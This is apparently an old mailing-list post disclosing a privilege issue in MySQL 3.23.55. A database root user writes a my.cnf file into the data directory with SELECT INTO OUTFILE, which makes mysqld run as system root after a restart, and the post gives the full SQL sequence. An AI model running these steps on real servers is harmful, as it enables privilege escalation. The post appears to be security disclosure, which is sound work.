MySQL user can be changed to root

Hi. I tried this on my own MySQL 3.23.55 !!! I found out that logging as the root user, we can change mysqld to run as root instead that i.e. mysql but this works only if there's just one my.cnf file and it is locate in /etc... Here's how I did it... I logged in as root and than I did this: mysql>CREATE DATABASE roottext; mysql>USE roottext; mysql>CREATE TABLE hack (conf VARCHAR(80)); mysql>INSERT IN hack VALUES ('[mysqld]'); mysql>INSERT IN hack VALUES ('user=root'); mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack mysql>QUIT Doing so we have create a my.cnf in mysql datadir containing: [mysqld] user=root Now, when the mysql server will be restarted, the user option in our datadit my.cnf will override the one in /etc/my.cnf and mysql server will run as root, with all the security flwas that it takes... This is very dangerous if we think that in mysql <= 3.23.53 it is really easy to get root access due to a bug (an exploit has been released publicly)... I dunno how this problem can be solved, I'd like to hear from you something... Thanks.... :) by Gufino
